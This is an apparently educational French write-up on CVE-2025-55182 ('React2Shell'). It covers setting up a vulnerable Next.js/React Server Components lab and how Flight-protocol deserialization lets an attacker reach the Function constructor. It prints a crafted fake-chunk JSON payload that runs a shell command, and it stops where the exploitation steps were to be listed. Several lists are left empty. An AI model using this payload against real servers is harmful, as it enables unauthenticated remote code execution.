
alias React2Shell
Les sections requises par les directives de l'affectation sont marquées avec « (Requis) ».
Cet environnement utilise un Dockerfile personnalisé basé sur l'image officielle Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Le Dockerfile construit un environnement vulnérable avec React Server Components (RSC) et Next.js App Router.
L'environnement installe des versions vulnérables de :
Le serveur vulnérable fonctionne en mode développement en utilisant npm run dev.
Le serveur vulnérable fonctionne en mode développement en utilisant npm run dev.
L'environnement fonctionne selon la structure suivante :
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
L'attaquant envoie une requête multipart/form-data spécialement conçue à l'application Next.js vulnérable.
La charge utile malveillante exploite le processus de désérialisation du protocole React Flight.
L'application vulnérable utilise l'architecture Next.js App Router.
La requête est traitée via le pipeline React Server Components.
Le code source de l'application est stocké dans le répertoire src/app/.
src/
└── app/
├── layout.js
└── page.js
Le fichier layout.js définit la mise en page racine requise pour la structure App Router et initialise l'environnement React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Le fichier page.js définit la page racine rendue à / et affiche un message simple indiquant que le serveur vulnérable est en cours d'exécution.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Les dépendances du projet et les scripts d'exécution sont gérés via le fichier package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Ce fichier définit les versions vulnérables de :
L'application vulnérable est exécutée en utilisant :
"scripts": {
"dev": "next dev"
}
Le serveur est démarré via :
npm run dev
ce qui lance le serveur de développement Next.js vulnérable sur le port 3000.
Le protocole Flight désérialise des objets React complexes tels que :
La vulnérabilité se produit lors de ce processus de désérialisation.
Le runtime React traite les charges utiles Flight contrôlées par l'attaquant.
Le parcours non sécurisé des propriétés et l'accès au prototype permettent finalement aux attaquants de détourner le constructeur Function.
Après une exploitation réussie, du code JavaScript arbitraire s'exécute dans l'environnement serveur Node.js.
Cela conduit à une exécution de code à distance (RCE).
| Composant | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
L'environnement utilise des implémentations vulnérables de React Server Components et du protocole Flight.
CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique d'exécution de code à distance (RCE) affectant React Server Components et le protocole React Flight.
La vulnérabilité se produit lors du processus de désérialisation des charges utiles du protocole Flight contrôlées par l'attaquant.
Le problème permet aux attaquants de :
La vulnérabilité est particulièrement dangereuse car l'exploitation peut se produire sans authentification en utilisant une seule requête HTTP conçue.
Les applications utilisant des configurations vulnérables de React Server Components et Next.js App Router sont directement exposées.
La cause racine de la vulnérabilité est la gestion non sécurisée des références d'objets contrôlées par l'attaquant lors de la désérialisation du protocole Flight.
React Flight utilise en interne des chaînes de référence spéciales telles que :
$@0
$B1337
$1:__proto__:then
Ces références sont résolues de manière récursive lors de la désérialisation.
La logique vulnérable effectue un parcours de propriétés similaire à :
value[path[i]]
sans valider si la propriété appartient à l'objet lui-même.
En conséquence, les attaquants peuvent accéder à des propriétés dangereuses de la chaîne de prototypes JavaScript telles que :
__proto__
constructor
prototype
Cela permet finalement la pollution de prototype et le détournement du constructeur Function.
L'attaquant crée d'abord un objet chunk React factice.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Le champ critique est :
"status": "resolved_model"
Le runtime React fait confiance incorrectement à ce champ et traite l'objet contrôlé par l'attaquant comme un objet chunk interne légitime.
La charge utile :
$1:__proto__:then
amène le désérialiseur à parcourir la chaîne de prototypes JavaScript.
Parce que le code vulnérable ne valide pas les propriétés dangereuses, l'attaquant obtient l'accès à :
Chunk.prototype.then
Cela transforme le chunk factice en un objet thenable.
La charge utile :
$1:constructor:constructor
se résout finalement en :
Function
Cela remplace :
response._formData.get
par le constructeur Function global JavaScript.
En conséquence :
Function(attacker_controlled_payload)
devient possible.
La charge utile :
$B1337
force l'analyseur React Flight dans la logique d'analyse Blob.
Lors de ce processus :
response._formData.get(...)
est exécutée.
Cependant, l'attaquant a déjà remplacé cette fonction par le constructeur Function global.
Cela aboutit finalement à une exécution JavaScript arbitraire dans le runtime Node.js.
Le processus d'exploitation se déroule dans l'ordre suivant :